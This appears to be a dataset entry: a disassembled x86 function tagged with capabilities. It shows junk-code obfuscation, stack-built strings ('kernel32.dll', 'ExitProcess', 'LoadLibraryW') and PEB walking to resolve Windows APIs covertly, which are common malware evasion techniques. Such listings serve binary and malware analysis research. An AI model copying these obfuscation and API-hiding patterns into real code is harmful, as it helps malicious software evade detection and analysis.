Function at 0x436931
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
xor edi, 0x10c2a
or edi, 0x10635
pop edi
mov ecx, dword [ebp - 0x1fa0]
mov dword [ebp - 0x14b8], ecx
push edx
push eax
add esp, 4
and edx, 0x55f2
pop edx
push ecx
push ecx
add esp, 4
call 0x436103
add byte [ebp + 0x39], al
inc ecx
inc eax
inc esp
inc esi
dec ebp
xor al, byte [ebx - 0xe7efb3c]
add byte gs:[eax], al
pop ecx
push edx
or edx, 0xce09
pop edx
mov edx, dword [ebp - 0x14]
add edx, 0x138
imul eax, dword [ebp - 0x10], 0x138
add eax, 0x44f3644b
imul ecx, dword [ebp - 0x10], 0x138
sub eax, ecx
xor edx, eax
imul edx, dword [ebp - 0x10]
mov dword [ebp - 0x14b8], edx
mov edx, dword [ebp - 0x3c0]
mov dword [ebp - 0x1ef8], edx
mov eax, dword [ebp - 0x1ef8]
add eax, dword [ebp - 0x14b8]
mov dword [ebp - 0x3c0], eax
push edx
sub edx, 0x143f4
and edx, 0x120a2
pop edx
push edi
call 0x436179
add byte [ecx], bh
dec edi
inc esi
dec esp
dec esp
dec ebp
dec edx
add esp, 4
xor edi, 0x10da2
xor edi, 0x10119
or edi, 0x1816d
pop edi
mov byte [ebp - 0xb78], 0x52
mov byte [ebp - 0xb77], 0xb9
mov byte [ebp - 0xb76], 0x10
mov byte [ebp - 0xb75], 0x10
mov byte [ebp - 0xb74], 0x10
mov byte [ebp - 0xb73], 0x10
mov byte [ebp - 0xb72], 0x5a
push edi
push esi
add esp, 4
sub edi, 0xe9bf
pop edi
push ebx
push esi
add esp, 4
add ebx, 0x3246
xor ebx, 0x8929
add ebx, 0x16093
pop ebx
push ecx
add ecx, 0xafef
or ecx, 0xd38c
pop ecx
mov byte [ebp - 0xb80], 0x52
mov byte [ebp - 0xb7f], 0xb9
mov byte [ebp - 0xb7e], 0x20
mov byte [ebp - 0xb7d], 0x20
mov byte [ebp - 0xb7c], 0x20
mov byte [ebp - 0xb7b], 0x20
mov byte [ebp - 0xb7a], 0x5a
push esi
push edx
add esp, 4
add esi, 0xd2f7
xor esi, 0x53d8
pop esi
push eax
push ebx
add esp, 4
or eax, 0xdf19
pop eax
push edi
add edi, 0x158bd
xor edi, 0x2893
add edi, 0xe781
pop edi
mov dword [ebp - 0x1fa4], 0xe
push ebx
add ebx, 0x1f4c
and ebx, 0xdfe3
pop ebx
push esi
push edx
add esp, 4
call 0x436281
add byte [ebp + 0x35], al
inc ecx
inc esi
xor eax, 0x42384f32
add esp, 4
and esi, 0xc533
xor esi, 0x6b15
pop esi
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xb78]
mov dword [ebp - 0x14bc], eax
push ebx
push esi
add esp, 4
xor ebx, 0x459a
and ebx, 0xbbe1
call 0x4362c5
add byte [edx], dh
cmp al, 0x4f
cmp eax, 0x374e4637
add esp, 4
pop ebx
push ebx
sub ebx, 0x12bc2
jmp 0x4362d7
pop ebx
mov dword [ebp - 0x1fa8], 0xffffffff
push edx
push esi
add esp, 4
jmp 0x4362f0
add edx, 0x2c9b
jmp 0x4362ff
sub edx, 0x1f41
pop edx
push esi
push ecx
add esp, 4
jmp 0x436313
pop esi
mov ecx, dword [ebp - 0x3c0]
mov dword [ebp - 0x4cc], ecx
jmp 0x436331
mov edx, dword [ebp - 0x4cc]
add edx, 1
mov dword [ebp - 0x4cc], edx
push eax
xor eax, 0x712
pop eax
push eax
xor eax, 0x1d4
xor eax, 0xdbf5
add eax, 0x8f48
pop eax
push ecx
or ecx, 0x511e
jmp 0x43635c
xor ecx, 0x878
pop ecx
mov eax, dword [ebp - 0x4cc]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x4363ab
push eax
or eax, 0x18359
sub eax, 0x5335
add eax, 0x5579
sub eax, 0x1ca1
pop eax
push edx
push edx
add esp, 4
and edx, 0x8203
pop edx
push esi
push ecx
add esp, 4
and esi, 0x4d9
pop esi
jmp 0x4365d9
mov dword [ebp - 0xc08], 7
mov ecx, dword [ebp - 0x4cc]
mov dword [ebp - 0xa68], ecx
push eax
push edi
add esp, 4
call 0x4363d5
add byte [edi + 0x44], cl
cmp dh, byte [esp + esi]
inc ebx
dec ebx
inc esi
inc edi
add esp, 4
pop eax
push ebx
add ebx, 0xe206
xor ebx, 0x7793
and ebx, 0x76af
sub ebx, 0xdc4a
pop ebx
mov edx, dword [ebp - 0x14bc]
mov dword [ebp - 0xa64], edx
mov dword [ebp - 0xc0c], 0
mov eax, dword [ebp - 0x4cc]
cmp eax, dword [ebp - 0x14bc]
jne 0x43645a
push ecx
and ecx, 0x16e3c
or ecx, 0xa9c7
sub ecx, 0xe2ad
xor ecx, 0xa8d0
pop ecx
push edi
push edx
add esp, 4
xor edi, 0x75b7
jmp 0x436442
sub edi, 0x5af6
pop edi
mov ecx, dword [ebp - 0xc0c]
mov dword [ebp - 0x14c4], ecx
jmp 0x43658b
cmp dword [ebp - 0xc08], 0
jle 0x43657f
push edi
push edx
add esp, 4
add edi, 0x6531
add edi, 0x1249b
pop edi
push eax
add eax, 0x15f8a
pop eax
push ecx
push ebx
add esp, 4
or ecx, 0xd8ac
add ecx, 0x9dae
add ecx, 0x1606
pop ecx
mov edx, dword [ebp - 0xa68]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xa64]
movzx edx, byte [ecx]
cmp eax, edx
je 0x43651b
push ebx
push esi
add esp, 4
add ebx, 0x9cca
pop ebx
push edx
push ebx
add esp, 4
add edx, 0x5165
pop edx
push edx
jmp 0x4364d1
jmp 0x4364da
or edx, 0x85a2
pop edx
mov eax, dword [ebp - 0xa68]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xa64]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x436503
mov dword [ebp - 0x14c0], 1
jmp 0x43650d
mov dword [ebp - 0x14c0], 0xffffffff
mov ecx, dword [ebp - 0x14c0]
mov dword [ebp - 0xc0c], ecx
jmp 0x43657f
push edi
push ecx
add esp, 4
xor edi, 0x56f7
pop edi
push ecx
push ecx
add esp, 4
sub ecx, 0x14cd4
add ecx, 0x12931
add ecx, 0x1204a
or ecx, 0x10021
pop ecx
push ecx
add ecx, 0x988a
pop ecx
mov edx, dword [ebp - 0xc08]
sub edx, 1
mov dword [ebp - 0xc08], edx
mov eax, dword [ebp - 0xa68]
add eax, 1
mov dword [ebp - 0xa68], eax
mov ecx, dword [ebp - 0xa64]
add ecx, 1
mov dword [ebp - 0xa64], ecx
jmp 0x43645a
mov edx, dword [ebp - 0xc0c]
mov dword [ebp - 0x14c4], edx
cmp dword [ebp - 0x14c4], 0
jne 0x4365d4
push ebx
and ebx, 0x74ff
xor ebx, 0xc945
add ebx, 0x4fcd
pop ebx
push esi
push edx
add esp, 4
and esi, 0x15ec0
sub esi, 0x17bc
pop esi
push eax
push eax
add esp, 4
xor eax, 0x4e8f
pop eax
mov eax, dword [ebp - 0x4cc]
mov dword [ebp - 0x3cc], eax
jmp 0x436615
jmp 0x436322
push edi
or edi, 0x1a21
sub edi, 0xadfc
pop edi
push esi
push edx
add esp, 4
or esi, 0x11bae
sub esi, 0xb184
pop esi
push ebx
push eax
add esp, 4
add ebx, 0x5402
xor ebx, 0x16e90
pop ebx
mov dword [ebp - 0x3cc], 0
push ecx
push ebx
add esp, 4
sub ecx, 0x96fc
call 0x43662f
add byte [eax + 0x37], cl
inc edi
inc esi
inc edx
cmp byte [edx + edi - 0x7d], cl
les eax, [ecx + ebx*2]
push ebx
call 0x436643
add byte [ebx + 0x43], al
inc edi
inc ecx
dec esp
aaa
dec ebx
cmp byte ss:[ebx + 0x525b04c4], al
jmp 0x43664d
or edx, 0x13d9c
xor edx, 0x10a12
sub edx, 0xe6fb
pop edx
push esi
push ecx
add esp, 4
call 0x436675
add byte [esp + eax*2], bh
cmp dword [eax + 0x48], eax
cmp byte [ecx + 0x35], cl
push eax
cmp eax, dword [ebx - 0x46a1fb3c]
add dword [eax], eax
add byte [eax], al
imul edx, ecx, 0
lea eax, [ebp + edx - 0xb80]
mov dword [ebp - 0x14c8], eax
push eax
push esi
add esp, 4
sub eax, 0x507b
add eax, 0x12db2
jmp 0x4366a5
or eax, 0x13b68
pop eax
push ecx
add ecx, 0x106ba
add ecx, 0x1b09
add ecx, 0x3f59
pop ecx
mov dword [ebp - 0x1fac], 0xffffffff
push ecx
and ecx, 0xe311
pop ecx
push edx
push ebx
add esp, 4
jmp 0x4366e0
pop edx
push ecx
sub ecx, 0x7f44
or ecx, 0x3a72
xor ecx, 0x14030
jmp 0x4366fb
pop ecx
mov ecx, dword [ebp - 0x3c0]
mov dword [ebp - 0x4d0], ecx
jmp 0x436719
mov edx, dword [ebp - 0x4d0]
add edx, 1
mov dword [ebp - 0x4d0], edx
push edi
push esi
add esp, 4
add edi, 0xc649
or edi, 0x11208
pop edi
push edi
add edi, 0x39b
add edi, 0xd4f7
pop edi
push eax
push ecx
add esp, 4
add eax, 0x1524a
sub eax, 0x82ea
pop eax
mov eax, dword [ebp - 0x4d0]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x436793
push eax
push edi
add esp, 4
call 0x436770
add byte [ecx + 0x42], cl
xor al, 0x41
aas
dec edx
dec ebx
dec ebx
add esp, 4
pop eax
push ebx
and ebx, 0x18ac
add ebx, 0x4c8d
pop ebx
push eax
push edi
add esp, 4
add eax, 0x15578
pop eax
jmp 0x4369c1
mov dword [ebp - 0xc10], 7
mov ecx, dword [ebp - 0x4d0]
mov dword [ebp - 0xa60], ecx
push edx
xor edx, 0x132d5
pop edx
push ebx
push esi
add esp, 4
add ebx, 0x1111d
pop ebx
push edx
push ecx
add esp, 4
or edx, 0x10e9f
add edx, 0xff30
and edx, 0x183dd
add edx, 0x11fdd
pop edx
mov edx, dword [ebp - 0x14c8]
mov dword [ebp - 0x9f0], edx
mov dword [ebp - 0xc14], 0
mov eax, dword [ebp - 0x4d0]
cmp eax, dword [ebp - 0x14c8]
jne 0x436842
push edx
push esi
add esp, 4
or edx, 0x13948
call 0x436817
add byte [ebp + 0x46], cl
xor cl, byte [edx + 0x39]
cmp byte ds:[ebx + 0x535a04c4], al
jmp 0x436824
or ebx, 0x8bdc
and ebx, 0xb8f
pop ebx
mov ecx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], ecx
jmp 0x436973
cmp dword [ebp - 0xc10], 0
jle 0x436967
push eax
push ebx
add esp, 4
or eax, 0x11125
pop eax
push esi
push edi
add esp, 4
sub esi, 0x391d
pop esi
push eax
push ebx
add esp, 4
sub eax, 0x17a6f
pop eax
push eax
add eax, 0xd6a9
xor eax, 0x9e8
pop eax
mov edx, dword [ebp - 0xa60]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x9f0]
movzx edx, byte [ecx]
cmp eax, edx
je 0x436903
push ebx
push eax
add esp, 4
or ebx, 0x14f19
jmp 0x4368a7
pop ebx
push esi
push edx
add esp, 4
xor esi, 0x12b42
jmp 0x4368ba
pop esi
push ecx
xor ecx, 0x39b
xor ecx, 0x1632
pop ecx
mov eax, dword [ebp - 0xa60]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x9f0]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x4368eb
mov dword [ebp - 0x14cc], 1
jmp 0x4368f5
mov dword [ebp - 0x14cc], 0xffffffff
mov ecx, dword [ebp - 0x14cc]
mov dword [ebp - 0xc14], ecx
jmp 0x436967
push ecx
push ecx
add esp, 4
call 0x436916
add byte [esi + 0x3d], al
dec eax
cmp dword [ecx], edi
inc ecx
inc ecx
cmp byte [ebx - 0x1e7efb3c], al
adc byte [esi], dl
add byte [ecx + 0x1734cc9], al
add al, ch
pop es
add byte [eax], al
add byte [eax], al
dec edi
inc eax
cmp byte [edx + 0x35], al
inc ebp
add esp, 4
pop ecx
mov edx, dword [ebp - 0xc10]
sub edx, 1
mov dword [ebp - 0xc10], edx
mov eax, dword [ebp - 0xa60]
add eax, 1
mov dword [ebp - 0xa60], eax
mov ecx, dword [ebp - 0x9f0]
add ecx, 1
mov dword [ebp - 0x9f0], ecx
jmp 0x436842
mov edx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], edx
cmp dword [ebp - 0x14d0], 0
jne 0x4369bc
push ebx
or ebx, 0x190b
xor ebx, 0x113eb
or ebx, 0x15dc1
pop ebx
push ebx
push ecx
add esp, 4
sub ebx, 0x12f2f
sub ebx, 0x291b
sub ebx, 0xf66
sub ebx, 0x58b9
pop ebx
mov eax, dword [ebp - 0x4d0]
mov dword [ebp - 0xa5c], eax
jmp 0x4369fd
jmp 0x43670a
push esi
push ebx
add esp, 4
or esi, 0xd13f
and esi, 0xcdc2
pop esi
push ebx
sub ebx, 0x7f28
jmp 0x4369e3
jmp 0x4369ec
and ebx, 0x16487
pop ebx
mov dword [ebp - 0xa5c], 0
push ebx
or ebx, 0x1461f
or ebx, 0x65bd
add ebx, 0xa404
pop ebx
push edx
jmp 0x436a18
and edx, 0x13034
jmp 0x436a25
jmp 0x436a2e
pop edx
mov byte [ebp - 0x804], 0x45
mov byte [ebp - 0x803], 0x78
mov byte [ebp - 0x802], 0x69
mov byte [ebp - 0x801], 0x74
mov byte [ebp - 0x800], 0x50
mov byte [ebp - 0x7ff], 0x72
mov byte [ebp - 0x7fe], 0x6f
mov byte [ebp - 0x7fd], 0x63
mov byte [ebp - 0x7fc], 0x65
mov byte [ebp - 0x7fb], 0x73
mov byte [ebp - 0x7fa], 0x73
mov byte [ebp - 0x7f9], 0
push ecx
push eax
add esp, 4
xor ecx, 0xb89e
jmp 0x436a96
pop ecx
push ebx
sub ebx, 0xafdb
pop ebx
push ecx
sub ecx, 0xfe2a
jmp 0x436aae
add ecx, 0xe22f
pop ecx
mov ecx, 0x6b
mov word [ebp - 0x1628], cx
mov edx, 0x65
mov word [ebp - 0x1626], dx
mov eax, 0x72
mov word [ebp - 0x1624], ax
mov ecx, 0x6e
mov word [ebp - 0x1622], cx
mov edx, 0x65
mov word [ebp - 0x1620], dx
mov eax, 0x6c
mov word [ebp - 0x161e], ax
mov ecx, 0x33
mov word [ebp - 0x161c], cx
mov edx, 0x32
mov word [ebp - 0x161a], dx
mov eax, 0x2e
mov word [ebp - 0x1618], ax
mov ecx, 0x64
mov word [ebp - 0x1616], cx
mov edx, 0x6c
mov word [ebp - 0x1614], dx
mov eax, 0x6c
mov word [ebp - 0x1612], ax
xor ecx, ecx
mov word [ebp - 0x1610], cx
push esi
call 0x436b5e
add byte [edx + 0x3b], al
cmp edi, dword [esi]
inc ebx
inc edi
inc esi
inc esp
inc edx
add esp, 4
xor esi, 0x16e25
pop esi
push ebx
push edi
add esp, 4
add ebx, 0x141bd
add ebx, 0x115ae
add ebx, 0x7ce3
pop ebx
push eax
push eax
add esp, 4
sub eax, 0x1553c
and eax, 0x819b
pop eax
push edx
and edx, 0x241f
pop edx
push edi
push eax
add esp, 4
add edi, 0x4728
and edi, 0x24c5
or edi, 0x16bef
pop edi
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1890], edx
mov eax, dword [ebp - 0x1890]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1894], ecx
mov edx, dword [ebp - 0x1894]
mov dword [ebp - 0x14d4], edx
push ecx
push edx
add esp, 4
add ecx, 0x1c67
xor ecx, 0x167ab
xor ecx, 0x391a
pop ecx
push eax
sub eax, 0xbd9b
xor eax, 0x1470c
add eax, 0x8077
jmp 0x436c0b
pop eax
cmp dword [ebp - 0x14d4], 0
jne 0x436c24
mov dword [ebp - 0x2e0], 0
jmp 0x436ee0
mov eax, dword [ebp - 0x14d4]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc20], edx
push eax
or eax, 0xb72d
call 0x436c4c
add byte [esi], bh
cmp dword [esi + 0x43], eax
aas
dec esp
cmp cl, byte [ebp + 0x4e]
add esp, 4
pop eax
push eax
xor eax, 0xd2ea
pop eax
push esi
add esi, 0x1cf7
jmp 0x436c67
pop esi
cmp dword [ebp - 0xc20], 0
jne 0x436c80
mov dword [ebp - 0x2e0], 0
jmp 0x436ee0
mov eax, dword [ebp - 0xc20]
mov dword [ebp - 0x4d4], eax
push esi
call 0x436c9d
add byte [ebx], bh
dec ebp
cmp al, 0x4e
dec edx
xor edi, dword [0x8346494d]
les eax, [eax + ebp*8]
or dword [eax], eax
add byte [eax], al
add byte [ebx], dh
dec ebx
dec esp
cmp al, 0x44
aaa
dec ecx
cmp al, 0x83
les eax, [ecx + eax*4]
mul ah
fild dword [eax]
add byte [ecx + 0x8f4fee], al
add byte [esi - 0x73], bl
invalid
push ecx
push ebx
add esp, 4
and ecx, 0xdfb8
add ecx, 0x14aa7
sub ecx, 0xe61d
pop ecx
push ecx
sub ecx, 0xd450
or ecx, 0x11274
or ecx, 0xb046
xor ecx, 0x7d6e
pop ecx
cmp dword [ebp - 0x2e0], 0
jne 0x43782b
mov edx, 0x6b
mov word [ebp - 0x16cc], dx
mov eax, 0x65
mov word [ebp - 0x16ca], ax
mov ecx, 0x72
mov word [ebp - 0x16c8], cx
mov edx, 0x6e
mov word [ebp - 0x16c6], dx
mov eax, 0x65
mov word [ebp - 0x16c4], ax
mov ecx, 0x6c
mov word [ebp - 0x16c2], cx
mov edx, 0x33
mov word [ebp - 0x16c0], dx
mov eax, 0x32
mov word [ebp - 0x16be], ax
mov ecx, 0x2e
mov word [ebp - 0x16bc], cx
mov edx, 0x64
mov word [ebp - 0x16ba], dx
mov eax, 0x6c
mov word [ebp - 0x16b8], ax
mov ecx, 0x6c
mov word [ebp - 0x16b6], cx
xor edx, edx
mov word [ebp - 0x16b4], dx
push ebx
push esi
add esp, 4
or ebx, 0x4731
and ebx, 0x10dd7
pop ebx
push esi
sub esi, 0xcf9f
and esi, 0x18309
pop esi
push edx
push edi
add esp, 4
sub edx, 0x238
sub edx, 0xc7fd
pop edx
mov byte [ebp - 0x820], 0x4c
mov byte [ebp - 0x81f], 0x6f
mov byte [ebp - 0x81e], 0x61
mov byte [ebp - 0x81d], 0x64
mov byte [ebp - 0x81c], 0x4c
mov byte [ebp - 0x81b], 0x69
mov byte [ebp - 0x81a], 0x62
mov byte [ebp - 0x819], 0x72
mov byte [ebp - 0x818], 0x61
mov byte [ebp - 0x817], 0x72
mov byte [ebp - 0x816], 0x79
mov byte [ebp - 0x815], 0x57
mov byte [ebp - 0x814], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1898], eax
mov ecx, dword [ebp - 0x1898]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x189c], edx
mov eax, dword [ebp - 0x189c]
mov dword [ebp - 0x14dc], eax
push ebx
push edx
add esp, 4
call 0x43707e
add byte [eax + 0x3d], cl
cmp byte [ebx], dh
cmp eax, 0xc4833d35
add al, 0xe8
or byte [eax], al
add byte [eax], al
add byte [eax + 0x48], dl
cmp al, 0x41
inc edx
inc ecx
inc eax
add esp, 4
pop ebx
push edi
push eax
add esp, 4
sub edi, 0x1935
add byte [edi - 0x7d], bl
mov ebp, 0xffffeb24
add byte [ebp + 0xf], dh
mov ecx, dword [ebp - 0x14dc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc2c], eax
push ebx
or ebx, 0x166dc
and ebx, 0x13aaf
sub ebx, 0x7be0
pop ebx
push eax
push eax
add esp, 4
xor eax, 0xedc0
call 0x4370f6
add byte [0x4942454d], dh
xor al, 0x4c
dec ebx
dec ebx
add esp, 4
pop eax
cmp dword [ebp - 0xc2c], 0
jne 0x437112
mov dword [ebp - 0x6ec], 0
jmp 0x437372
mov ecx, dword [ebp - 0xc2c]
mov dword [ebp - 0x4d8], ecx
push eax
push esi
add esp, 4
jmp 0x43712c
pop eax
push ebx
push eax
add esp, 4
add ebx, 0xe282
jmp 0x43713d
jmp 0x437143
pop ebx
push ecx
push ecx
add esp, 4
or ecx, 0xe22
pop ecx
lea edx, [ebp - 0x16cc]
mov dword [ebp - 0xc28], edx
mov eax, dword [ebp - 0x4d8]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc24], ecx
xor edx, edx
mov word [ebp - 0x1fc], dx
xor eax, eax
mov word [ebp - 0x104], ax
push ecx
add ecx, 0x79b8
or ecx, 0xe5b1
pop ecx
push ecx
push edx
add esp, 4
jmp 0x437199
jmp 0x4371a2
pop ecx
push esi
push ecx
add esp, 4
xor esi, 0x14be3
pop esi
mov ecx, dword [ebp - 0xc24]
mov dx, word [ecx]
mov word [ebp - 0xf82], dx
mov eax, dword [ebp - 0xc24]
add eax, 2
mov dword [ebp - 0xc24], eax
mov cx, word [ebp - 0xf82]
mov word [ebp - 0x1fc], cx
mov edx, dword [ebp - 0xc28]
mov ax, word [edx]
mov word [ebp - 0xf84], ax
mov ecx, dword [ebp - 0xc28]
add ecx, 2
mov dword [ebp - 0xc28], ecx
mov dx, word [ebp - 0xf84]
mov word [ebp - 0x104], dx
push esi
push ebx
add esp, 4
call 0x43721d
add byte [edx], bh
dec ecx
cmp eax, 0x4834404e
xor al, 0x83
les eax, [esi + ebx*2]
push ebx
add ebx, 0x3ab
or ebx, 0xafa3
add ebx, 0xa875
xor ebx, 0x4028
pop ebx
movzx eax, word [ebp - 0x104]
test eax, eax
jne 0x43725e
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
sub ecx, edx
mov dword [ebp - 0x14e4], ecx
jmp 0x4372c1
movzx eax, word [ebp - 0x1fc]
movzx ecx, word [ebp - 0x104]
cmp eax, ecx
je 0x43717d
movzx edx, word [ebp - 0x1fc]
xor edx, 0x20
movzx eax, word [ebp - 0x104]
cmp edx, eax
je 0x43717d
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
cmp ecx, edx
jge 0x4372ab
mov dword [ebp - 0x14e0], 0xffffffff
jmp 0x4372b5
mov dword [ebp - 0x14e0], 1
mov eax, dword [ebp - 0x14e0]
mov dword [ebp - 0x14e4], eax
cmp dword [ebp - 0x14e4], 0
jne 0x43730a
push edi
xor edi, 0xb405
call 0x4372de
add byte [esi + 0x40], al
cmp ecx, dword [eax + 0x34]
inc eax
dec edi
add esp, 4
jmp 0x4372e7
sub edi, 0x2cba
pop edi
push eax
add eax, 0xb31f
or eax, 0x8e8
pop eax
mov ecx, dword [ebp - 0x4d8]
mov dword [ebp - 0x6ec], ecx
jmp 0x437372
push edi
push eax
add esp, 4
jmp 0x437315
or edi, 0x14730
sub edi, 0x10cb4
add edi, 0x143cc
pop edi
push edx
sub edx, 0x12b29
and edx, 0xdfb9
or edx, 0x1138a
pop edx
mov edx, dword [ebp - 0x4d8]
mov eax, dword [edx]
mov dword [ebp - 0x4d8], eax
mov ecx, dword [ebp - 0x4d8]
cmp ecx, dword [ebp - 0xc2c]
je 0x437368
mov edx, dword [ebp - 0x4d8]
cmp dword [edx + 0x30], 0
jne 0x43711e
mov dword [ebp - 0x6ec], 0